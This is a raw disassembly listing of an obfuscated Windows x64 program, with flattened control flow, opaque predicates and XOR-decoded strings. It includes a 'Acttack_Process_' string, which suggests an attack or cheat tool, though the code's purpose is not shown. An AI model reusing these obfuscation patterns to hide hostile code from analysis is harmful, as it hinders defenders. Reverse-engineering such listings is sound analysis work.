mov r8, qword [rbp + 0x1d0]
xor r8d, ecx
mov byte [rdx + 3], r8b
movsx rdi, byte [rax + 4]
mov r8d, dword [0x1402b5eb8]
mov ecx, dword [0x1402b5ebc]
lea r15d, [r8 + 1]
imul r15d, r8d
mov r12d, r15d
xor r12d, 0xfffffffe
test r12d, r15d
sete r15b
mov dword [rbp + 0xf8], ecx
cmp ecx, 0xa
setl r12b
or r12b, r15b
mov r15d, 0xe26373a3
mov ecx, 0xa707348c
cmovne r15d, ecx
mov r13d, 0xe26373a3
mov ecx, 0x64873e59
cmovne r13d, ecx
mov r12d, 0x5ad4125f
jmp 0x1400469fb
mov r12d, 0x64873e59
cmp r12d, 0xe26373a2
jle 0x140046a24
cmp r12d, 0xe26373a3
je 0x1400469f5
cmp r12d, 0x5ad4125f
je 0x140046a38
cmp r12d, 0x64873e59
jne 0x1400469fb
mov r12d, r15d
jmp 0x1400469fb
cmp r12d, 0xa707348c
je 0x140046a3d
cmp r12d, 0xcf69caf1
jne 0x1400469fb
jmp 0x140046a45
mov r12d, r13d
jmp 0x1400469fb
mov r12d, 0xcf69caf1
jmp 0x1400469fb
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x148], 4
mov rdi, qword [rbp + 0x148]
add edi, 0xb
mov r12, qword [rbp + 0x1d0]
mov ecx, edi
xor ecx, edi
not ecx
and ecx, r12d
xor ecx, edi
mov byte [rdx + 4], cl
movsx rdi, byte [rax + 5]
mov r12d, 0x5ad4125f
jmp 0x140046a89
mov r12d, 0x64873e59
cmp r12d, 0xe26373a2
jle 0x140046ab2
cmp r12d, 0xe26373a3
je 0x140046a83
cmp r12d, 0x5ad4125f
je 0x140046ac6
cmp r12d, 0x64873e59
jne 0x140046a89
mov r12d, r15d
jmp 0x140046a89
cmp r12d, 0xa707348c
je 0x140046acb
cmp r12d, 0xcf69caf1
jne 0x140046a89
jmp 0x140046ad3
mov r12d, r13d
jmp 0x140046a89
mov r12d, 0xcf69caf1
jmp 0x140046a89
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x148], 5
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
mov rdi, qword [rbp + 0x1d0]
mov r12d, ecx
xor r12d, ecx
not r12d
and r12d, edi
xor r12d, ecx
mov byte [rdx + 5], r12b
movsx rdi, byte [rax + 6]
mov r12d, 0x5ad4125f
jmp 0x140046b1c
mov qword [rbp + 0xc8], rsp
mov eax, dword [0x1402b5eb0]
mov ecx, dword [0x1402b5eb4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x1cc]
cmp ecx, 0xa
setl byte [rbp + 0x140]
mov eax, 0xd38369aa
mov r15d, 0x877f9528
jmp 0x1400477a8
mov rax, qword [rbp + 0x188]
mov qword [rax], r10
mov eax, dword [0x1402b5eb0]
mov ecx, dword [0x1402b5eb4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl dil
xor dil, r8b
mov r8d, 0x877f9528
cmovne r8d, r9d
test eax, edx
mov eax, r8d
cmove eax, r9d
cmp ecx, 0xa
cmovge eax, r8d
cmp eax, 0x219b4ad4
jle 0x140047802
cmp eax, 0x5855f75c
jg 0x14004781e
cmp eax, 0x219b4ad5
je 0x14004789b
cmp eax, 0x450b8fcb
jne 0x140047916
mov eax, dword [0x1402b5eb0]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x877f9528
cmove eax, r14d
cmp dword [0x1402b5eb4], 0xa
cmovge eax, r15d
setl dl
xor dl, cl
cmovne eax, r14d
jmp 0x1400477a8
cmp eax, 0xd38369a9
jg 0x14004783e
cmp eax, 0x877f9528
je 0x14004785a
cmp eax, 0xd1f114c6
jne 0x1400477a8
mov eax, 0x450b8fcb
jmp 0x1400477a8
cmp eax, 0x5855f75d
je 0x14004775d
cmp eax, 0x6876bd18
jne 0x1400477a8
mov eax, 0x219b4ad5
jmp 0x1400477a8
cmp eax, 0xd38369aa
je 0x14004786e
cmp eax, 0xfd9dbabb
jne 0x1400477a8
mov eax, 0x43f3ed5d
jmp 0x1400477a8
mov rax, qword [rbp + 0x188]
mov qword [rax], r10
mov eax, 0x5855f75d
jmp 0x1400477a8
movzx ecx, byte [rbp + 0x1cc]
movzx eax, byte [rbp + 0x140]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x6876bd18
cmovne eax, r11d
test cl, cl
cmove eax, esi
test dl, dl
cmovne eax, r11d
jmp 0x1400477a8
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x188], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x138], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x198], rax
mov eax, dword [0x1402b5eb0]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x6876bd18
cmove eax, ebx
cmp dword [0x1402b5eb4], 0xa
cmovge eax, esi
setl dl
xor dl, cl
cmovne eax, ebx
jmp 0x1400477a8
cmp eax, 0x43f3ed5d
jne 0x1400477a8
mov rax, qword [rbp + 0x138]
mov rcx, qword [rbp + 0x40]
mov qword [rax], rcx
mov rax, qword [rbp + 0x138]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x188]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x198]
mov qword [rbp + 0x128], rcx
mov rdx, qword [rbp + 0x128]
movsx rcx, byte [rax]
mov r8d, dword [0x1402b5eb8]
lea edi, [r8 + 1]
imul edi, r8d
mov r8d, edi
xor r8d, 0xfffffffe
test r8d, edi
setne r8b
sete dil
cmp dword [0x1402b5ebc], 0xa
setge r15b
setl r12b
xor r12b, dil
or r15b, r8b
xor r15b, 1
or r15b, r12b
mov r8d, 0xe26373a3
mov edi, 0xa707348c
cmovne r8d, edi
mov edi, 0xe26373a3
mov r15d, 0x64873e59
cmovne edi, r15d
mov r15d, 0x5ad4125f
jmp 0x1400479c5
mov r15d, 0x64873e59
cmp r15d, 0xe26373a2
jle 0x1400479ee
cmp r15d, 0xe26373a3
je 0x1400479bf
cmp r15d, 0x5ad4125f
je 0x140047a02
cmp r15d, 0x64873e59
jne 0x1400479c5
mov r15d, r8d
jmp 0x1400479c5
cmp r15d, 0xa707348c
je 0x140047a07
cmp r15d, 0xcf69caf1
jne 0x1400479c5
jmp 0x140047a19
mov r15d, edi
jmp 0x1400479c5
mov r15d, 0xcf69caf1
jmp 0x1400479c5
mov eax, 0xabd12eb6
jmp 0x140046368
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x148], 0
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
mov r8, qword [rbp + 0x1d0]
mov edi, ecx
xor edi, ecx
not edi
and edi, r8d
xor edi, ecx
mov byte [rdx], dil
movsx rcx, byte [rax + 1]
mov r8d, dword [0x1402b5eb8]
lea edi, [r8 + 1]
imul edi, r8d
mov r8d, edi
xor r8d, 0xfffffffe
test r8d, edi
sete r8b
cmp dword [0x1402b5ebc], 0xa
setl dil
or dil, r8b
mov r8d, 0xe26373a3
mov edi, 0xa707348c
cmovne r8d, edi
mov edi, 0xe26373a3
mov r15d, 0x64873e59
cmovne edi, r15d
mov r15d, 0x5ad4125f
jmp 0x140047aa6
mov r15d, 0x64873e59
cmp r15d, 0xe26373a2
jle 0x140047acf
cmp r15d, 0xe26373a3
je 0x140047aa0
cmp r15d, 0x5ad4125f
je 0x140047ae3
cmp r15d, 0x64873e59
jne 0x140047aa6
mov r15d, r8d
jmp 0x140047aa6
cmp r15d, 0xa707348c
je 0x140047ae8
cmp r15d, 0xcf69caf1
jne 0x140047aa6
jmp 0x140047af0
mov r15d, edi
jmp 0x140047aa6
mov r15d, 0xcf69caf1
jmp 0x140047aa6
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x148], 1
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
mov r8, qword [rbp + 0x1d0]
mov edi, ecx
xor edi, ecx
not edi
and edi, r8d
xor edi, ecx
mov byte [rdx + 1], dil
movsx rcx, byte [rax + 2]
mov r8d, dword [0x1402b5eb8]
lea edi, [r8 - 1]
imul edi, r8d
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
setne r8b
cmp dword [0x1402b5ebc], 0xa
setge dil
mov r15d, edi
xor r15b, r8b
or dil, r8b
xor dil, 1
or dil, r15b
mov r8d, 0xe26373a3
mov edi, 0xa707348c
cmovne r8d, edi
mov edi, 0xe26373a3
mov r15d, 0x64873e59
cmovne edi, r15d
mov r15d, 0x5ad4125f
jmp 0x140047b89
mov r15d, 0x64873e59
cmp r15d, 0xe26373a2
jle 0x140047bb2
cmp r15d, 0xe26373a3
je 0x140047b83
cmp r15d, 0x5ad4125f
je 0x140047bc6
cmp r15d, 0x64873e59
jne 0x140047b89
mov r15d, r8d
jmp 0x140047b89
cmp r15d, 0xa707348c
je 0x140047bcb
cmp r15d, 0xcf69caf1
jne 0x140047b89
jmp 0x140047bd3
mov r15d, edi
jmp 0x140047b89
mov r15d, 0xcf69caf1
jmp 0x140047b89
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x148], 2
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
mov r8, qword [rbp + 0x1d0]
mov edi, ecx
xor edi, ecx
not edi
and edi, r8d
xor edi, ecx
mov byte [rdx + 2], dil
movsx rcx, byte [rax + 3]
mov r8d, dword [0x1402b5eb8]
lea edi, [r8 + 1]
imul edi, r8d
mov r8d, edi
xor r8d, 0xfffffffe
test r8d, edi
sete r8b
cmp dword [0x1402b5ebc], 0xa
setl dil
or dil, r8b
mov r8d, 0xe26373a3
mov edi, 0xa707348c
cmovne r8d, edi
mov edi, 0xe26373a3
mov r15d, 0x64873e59
cmovne edi, r15d
mov r15d, 0x5ad4125f
jmp 0x140047c61
mov r15d, 0x64873e59
cmp r15d, 0xe26373a2
jle 0x140047c8a
cmp r15d, 0xe26373a3
je 0x140047c5b
cmp r15d, 0x5ad4125f
je 0x140047c9e
cmp r15d, 0x64873e59
jne 0x140047c61
mov r15d, r8d
jmp 0x140047c61
cmp r15d, 0xa707348c
je 0x140047ca3
cmp r15d, 0xcf69caf1
jne 0x140047c61
jmp 0x140047cab
mov r15d, edi
jmp 0x140047c61
mov r15d, 0xcf69caf1
jmp 0x140047c61
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x148], 3
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
mov r8, qword [rbp + 0x1d0]
xor r8d, ecx
mov byte [rdx + 3], r8b
movsx rdi, byte [rax + 4]
mov r8d, dword [0x1402b5eb8]
mov ecx, dword [0x1402b5ebc]
lea r15d, [r8 - 1]
imul r15d, r8d
not r15d
or r15d, 0xfffffffe
cmp r15d, 0xffffffff
sete r15b
mov dword [rbp + 0xf8], ecx
cmp ecx, 0xa
setl r12b
or r12b, r15b
mov r12d, 0xe26373a3
mov ecx, 0xa707348c
cmovne r12d, ecx
mov r13d, 0xe26373a3
mov ecx, 0x64873e59
cmovne r13d, ecx
mov r15d, 0x5ad4125f
jmp 0x140047d3a
mov r15d, 0x64873e59
cmp r15d, 0xe26373a2
jle 0x140047d63
cmp r15d, 0xe26373a3
je 0x140047d34
cmp r15d, 0x5ad4125f
je 0x140047d77
cmp r15d, 0x64873e59
jne 0x140047d3a
mov r15d, r12d
jmp 0x140047d3a
cmp r15d, 0xa707348c
je 0x140047d7c
cmp r15d, 0xcf69caf1
jne 0x140047d3a
jmp 0x140047d84
mov r15d, r13d
jmp 0x140047d3a
mov r15d, 0xcf69caf1
jmp 0x140047d3a
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x148], 4
mov rdi, qword [rbp + 0x148]
add edi, 0xb
mov r15, qword [rbp + 0x1d0]
mov ecx, edi
xor ecx, edi
not ecx
and ecx, r15d
xor ecx, edi
mov byte [rdx + 4], cl
movsx rdi, byte [rax + 5]
mov r15d, 0x5ad4125f
jmp 0x140047dc8
mov r15d, 0x64873e59
cmp r15d, 0xe26373a2
jle 0x140047df1
cmp r15d, 0xe26373a3
je 0x140047dc2
cmp r15d, 0x5ad4125f
je 0x140047e05
cmp r15d, 0x64873e59
jne 0x140047dc8
mov r15d, r12d
jmp 0x140047dc8
cmp r15d, 0xa707348c
je 0x140047e0a
cmp r15d, 0xcf69caf1
jne 0x140047dc8
jmp 0x140047e12
mov r15d, r13d
jmp 0x140047dc8
mov r15d, 0xcf69caf1
jmp 0x140047dc8
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x148], 5
mov rcx, qword [rbp + 0x148]
add ecx, 0xb
mov rdi, qword [rbp + 0x1d0]
xor edi, ecx
mov byte [rdx + 5], dil
movsx rdi, byte [rax + 6]
mov r15d, 0x5ad4125f
jmp 0x140047e4e
cmp r15d, 0xe26373a2
jle 0x140047e77
mov rsp, qword [rbp + 0xc0]
sub rsp, 0x20
mov rcx, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0x40]
call fcn.1400b4a20
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140003350
add rsp, 0x20
mov qword [rbp + 0xf8], rax
mov r9d, 0x1efa0d4a
mov r11d, 0x37376ba3
mov r8d, 0xfe977b13
mov r10d, 0x3b352d6
mov esi, 0xa64dfa7d
mov ebx, 0xe1eaf736
mov r14d, 0xc114ee87
mov r15d, 0xc7b16dbd
mov r12d, 0x8eb5c43d
jmp 0x140048a5d
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rbp + 0x190]
mov eax, dword [0x1402b5e88]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov r9d, 0xa64dfa7d
mov edx, 0xce45816a
cmove r9d, edx
cmp dword [0x1402b5e8c], 0xa
cmovge r9d, esi
setl cl
xor cl, al
cmovne r9d, edx
cmp r9d, 0xc7c609bc
jle 0x140048a91
cmp r9d, 0xe1eaf735
jg 0x140048b50
cmp r9d, 0xc7c609bd
je 0x140048dd2
cmp r9d, 0xce45816a
jne 0x140048a5d
mov r9d, 0xc7c609bd
jmp 0x140048a5d
cmp r9d, 0xc114ee86
jg 0x140048baa
cmp r9d, 0x8eb5c43d
je 0x140048bc2
cmp r9d, 0xa64dfa7d
jne 0x140048a5d
mov eax, dword [0x1402b5e90]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
cmp dword [0x1402b5e94], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov r9d, 0x8c40da08
cmovne r9d, r11d
mov edi, 0x8c40da08
mov eax, 0x5b451b53
cmovne edi, eax
mov r13d, 0xc6ef484d
cmp r13d, 0xd29b69d6
jle 0x140048b29
cmp r13d, 0xd29b69d7
je 0x140048e46
cmp r13d, 0x37376ba3
je 0x140048b40
cmp r13d, 0x5b451b53
jne 0x140048afc
mov r13d, r9d
jmp 0x140048afc
cmp r13d, 0x8c40da08
je 0x140048b48
cmp r13d, 0xc6ef484d
jne 0x140048afc
mov r13d, edi
jmp 0x140048afc
mov r13d, 0xd29b69d7
jmp 0x140048afc
mov r13d, 0x5b451b53
jmp 0x140048afc
cmp r9d, 0xe1eaf736
je 0x140048e0c
cmp r9d, 0x1efa0d4a
jne 0x140048a5d
mov r9d, dword [0x1402b5e88]
lea edi, [r9 + 1]
imul edi, r9d
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov r9d, 0xa64dfa7d
cmove r9d, r12d
cmp dword [0x1402b5e8c], 0xa
cmovge r9d, esi
setl r13b
xor r13b, dil
cmovne r9d, r12d
jmp 0x140048a5d
cmp r9d, 0xc114ee87
jne 0x140048fe6
mov r9d, 0xe1eaf736
jmp 0x140048a5d
mov r9d, dword [0x1402b5e90]
lea edi, [r9 + 1]
imul edi, r9d
mov r9d, edi
xor r9d, 0xfffffffe
test r9d, edi
sete r9b
cmp dword [0x1402b5e94], 0xa
setl dil
or dil, r9b
mov r9d, 0x8c40da08
cmovne r9d, r11d
mov edi, 0x8c40da08
mov eax, 0x5b451b53
cmovne edi, eax
mov r13d, 0xc6ef484d
cmp r13d, 0xd29b69d6
jle 0x140048c33
cmp r13d, 0xd29b69d7
je 0x140048c5a
cmp r13d, 0x37376ba3
je 0x140048c4a
cmp r13d, 0x5b451b53
jne 0x140048c0a
mov r13d, r9d
jmp 0x140048c0a
cmp r13d, 0x8c40da08
je 0x140048c52
cmp r13d, 0xc6ef484d
jne 0x140048c0a
mov r13d, edi
jmp 0x140048c0a
mov r13d, 0xd29b69d7
jmp 0x140048c0a
mov r13d, 0x5b451b53
jmp 0x140048c0a
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x190], rax
lea rax, [0x14029b677]
mov qword [rbp + 0x1c0], rax
mov r13, qword [rbp + 0x190]
mov r9, qword [rbp + 0x1c0]
mov edi, 0x19100051
cmp edi, 0xfe977b12
jle 0x140048cdf
cmp edi, 0xfe977b13
je 0x140048d29
cmp edi, 0x3b352d6
je 0x140048a16
cmp edi, 0x19100051
jne 0x140048c89
mov qword [rbp + 0x1a0], r13
mov rdi, qword [rbp + 0x1a0]
movzx eax, byte [r9]
xor al, 0xb
mov byte [rdi], al
inc rdi
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x148], r9
mov edi, 0xb6627186
jmp 0x140048c89
cmp edi, 0xb6627186
je 0x140048d90
cmp edi, 0xc9009c0f
jne 0x140048c89
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax + 1]
xor al, 0xc
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 3], 1
mov edi, 0xfe977b13
jmp 0x140048c89
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax + 1]
xor al, 0xc
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 3], 1
mov eax, dword [0x1402b5e98]
mov ecx, dword [0x1402b5e9c]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl dil
xor dil, al
mov eax, 0xc9009c0f
cmovne eax, r10d
cmp edx, 0xffffffff
mov edi, eax
cmove edi, r10d
jmp 0x140048dc7
mov eax, dword [0x1402b5e98]
mov ecx, dword [0x1402b5e9c]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp ecx, 0xa
setl dl
xor dl, al
mov eax, 0xc9009c0f
cmovne eax, r8d
cmp edi, 0xffffffff
mov edi, eax
cmove edi, r8d
cmp ecx, 0xa
cmovge edi, eax
jmp 0x140048c89
mov eax, dword [0x1402b5e88]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
mov r9d, 0xc114ee87
cmove r9d, ebx
cmp dword [0x1402b5e8c], 0xa
cmovge r9d, r14d
setl cl
xor cl, al
cmovne r9d, ebx
jmp 0x140048a5d
mov eax, dword [0x1402b5e88]
lea ecx, [rax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
mov r9d, 0xc114ee87
cmove r9d, r15d
cmp dword [0x1402b5e8c], 0xa
cmovge r9d, r14d
setl cl
xor cl, al
cmovne r9d, r15d
jmp 0x140048a5d
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x190], rax
lea rax, [0x14029b677]
mov qword [rbp + 0x1c0], rax
mov r9, qword [rbp + 0x190]
mov rdi, qword [rbp + 0x1c0]
mov r13d, 0x19100051
jmp 0x140048eeb
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax + 1]
xor al, 0xc
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 3], 1
mov eax, dword [0x1402b5e98]
mov ecx, dword [0x1402b5e9c]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r13b
cmp ecx, 0xa
setl r11b
xor r11b, r13b
mov r11d, 0xc9009c0f
cmovne r11d, r10d
test eax, edx
mov r13d, r11d
cmove r13d, r10d
cmp ecx, 0xa
cmovge r13d, r11d
mov r11d, 0x37376ba3
cmp r13d, 0xfe977b12
jle 0x140048f46
cmp r13d, 0xfe977b13
je 0x140048e78
cmp r13d, 0x3b352d6
je 0x140048fcd
cmp r13d, 0x19100051
jne 0x140048eeb
mov qword [rbp + 0x1a0], r9
mov rax, qword [rbp + 0x1a0]
movzx ecx, byte [rdi]
xor cl, 0xb
mov byte [rax], cl
inc rax
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x148], rdi
mov r13d, 0xb6627186
jmp 0x140048eeb
cmp r13d, 0xb6627186
je 0x140048f8f
cmp r13d, 0xc9009c0f
jne 0x140048eeb
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax + 1]
xor al, 0xc
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx], al
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 1], 0
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 3], 1
mov r13d, 0xfe977b13
jmp 0x140048eeb
mov eax, dword [0x1402b5e98]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov r13d, 0xc9009c0f
cmove r13d, r8d
cmp dword [0x1402b5e9c], 0xa
mov ecx, 0xc9009c0f
cmovge r13d, ecx
setl cl
xor cl, al
cmovne r13d, r8d
jmp 0x140048eeb
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rbp + 0x190]
mov r9d, 0x8eb5c43d
jmp 0x140048a5d
cmp r9d, 0xc7b16dbd
jne 0x140048a5d
sub rsp, 0x20
mov rcx, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0xd0]
call fcn.1400b4500
add rsp, 0x20
mov ecx, dword [0x1402b5e08]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5e0c], 0xa
setl dl
test dl, cl
jne 0x140049039
xor dl, cl
jne 0x140049039
jmp 0x140049037
mov edx, dword [0x1402b6a58]
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140003ad0
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x14004908b
xor cl, al
jne 0x14004908b
jmp 0x140049089
sub rsp, 0x20
mov rcx, qword [rbp + 0xd8]
call fcn.1400036d0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov edx, dword [0x1402b6a58]
lea rcx, [0x1402b6a20]
sub rsp, 0x20
call fcn.1400f7180
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b10
add rsp, 0x20
mov rsi, rax
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x140049105
xor cl, al
jne 0x140049105
jmp 0x140049103
sub rsp, 0x20
mov rcx, qword [rbp + 0x98]
call section..text
add rsp, 0x20
mov ecx, dword [0x1402b5e08]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5e0c], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140049146
or cl, al
test cl, 1
je 0x140049146
jmp 0x140049144
sub rsp, 0x20
mov rcx, rsi
mov rdx, qword [rbp + 0x98]
call fcn.140002980
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140002e40
add rsp, 0x20
mov qword [rbp + 0xf8], rax
mov eax, dword [0x1402b5c90]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5c94], 0xa
mov qword [rbp + 0xe8], rsp
setl cl
or cl, al
mov eax, 0x30b87c25
mov edx, 0x6c0033be
cmove eax, edx
mov ecx, 0xada74995
cmove ecx, edx
mov r8d, 0x23af8f4c
lea rdx, str._____Acttack_Process_:
cmp r8d, 0x23af8f4b
jle 0x1400491eb
cmp r8d, 0x23af8f4c
je 0x140049209
cmp r8d, 0x30b87c25
je 0x14004920e
cmp r8d, 0x6c0033be
jne 0x1400491bf
mov r8d, 0xada74995
jmp 0x1400491bf
cmp r8d, 0x831a9ead
je 0x140049216
cmp r8d, 0xada74995
jne 0x1400491bf
mov qword [rbp + 0x138], rdx
mov r8d, eax
jmp 0x1400491bf
mov r8d, ecx
jmp 0x1400491bf
mov r8d, 0x831a9ead
jmp 0x1400491bf
mov rax, qword [rbp + 0x138]
mov rcx, qword [rbp - 0x10]
mov qword [rbp + 0x198], rcx
mov qword [rbp + 0x128], rax
mov eax, 0x8e0c9618
mov r10d, 0x9209573
mov r11d, 0xe804e5f4
mov esi, 0x65935c71
cmp eax, 0x2b52139c
je 0x14004bd72
cmp eax, 0x8e0c9618
jne 0x140049245
mov qword [rbp + 0xd0], rsp
mov r13, qword [rbp + 0x198]
mov rdx, qword [rbp + 0x128]
movzx eax, byte [rbp + 0x140]
mov eax, dword [0x1402b5c98]
mov ecx, dword [0x1402b5c9c]
lea r9d, [rax + 1]
imul r9d, eax
not r9d
or r9d, 0xfffffffe
cmp r9d, 0xffffffff
sete byte [rbp + 0x130]
cmp ecx, 0xa
setl byte [rbp + 0x188]
mov eax, 0x2a0c6e60
jmp 0x1400492f3
mov eax, dword [0x1402b5c98]
mov ecx, dword [0x1402b5c9c]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r9b
cmp ecx, 0xa
setl bl
xor bl, r9b
mov r9d, 0x5aba48f0
mov edi, 0x352d2928
cmovne r9d, edi
test eax, r8d
mov eax, r9d
cmove eax, edi
cmp ecx, 0xa
cmovge eax, r9d
cmp eax, 0x352d2927
jg 0x140049364
cmp eax, 0x2a0c6e5f
jle 0x1400493a4
cmp eax, 0x2a0c6e60
je 0x14004a924
cmp eax, 0x2ccc413b
jne 0x14004bd4f
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov r9, rsp
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x190]
mov qword [rax], rdx
mov qword [rbp + 0x1c0], r13
mov rcx, qword [rbp + 0x1c0]
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
movzx ebx, byte [rax]
mov eax, 0x9c6a156
jmp 0x140049458
cmp eax, 0x53df21fb
jg 0x1400493d2
cmp eax, 0x352d2928
je 0x14004967e
cmp eax, 0x4fef4114
jne 0x1400492f3
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rcx, rsp
mov r9, rsp
mov qword [rcx], rdx
movzx ebx, byte [rdx]
mov eax, 0x9c6a156
jmp 0x140049532
cmp eax, 0xc55c03d3
je 0x1400492aa
cmp eax, 0x3a8cfc5
jne 0x1400492f3
mov rcx, rsp
mov rax, qword [rbp + 0x1d0]
movzx r9d, byte [rax]
mov eax, 0x9c6a156
jmp 0x140049609
cmp eax, 0x53df21fc
je 0x1400496b6
cmp eax, 0x5aba48f0
jne 0x1400492f3
mov eax, 0x352d2928
jmp 0x1400492f3
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea r12d, [rax + 1]
imul r12d, eax
mov eax, r12d
xor eax, 0xfffffffe
test eax, r12d
sete dil
cmp r8d, 0xa
setl r14b
xor r14b, dil
mov edi, 0xe804e5f4
cmovne edi, r10d
test eax, r12d
mov eax, edi
cmove eax, r10d
cmp r8d, 0xa
cmovge eax, edi
cmp eax, 0x9c6a155
jle 0x1400494b2
cmp eax, 0x65935c71
je 0x1400493f2
cmp eax, 0x10a09de6
je 0x1400496c0
cmp eax, 0x9c6a156
jne 0x140049458
mov eax, dword [0x1402b5ca0]
lea r12d, [rax + 1]
imul r12d, eax
mov eax, r12d
xor eax, 0xfffffffe
test eax, r12d
sete r12b
mov eax, 0xe804e5f4
cmove eax, esi
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl r8b
xor r8b, r12b
cmovne eax, esi
jmp 0x140049458
cmp eax, 0xe804e5f4
je 0x1400494c7
cmp eax, 0x9209573
jne 0x140049458
mov eax, 0x10a09de6
jmp 0x140049458
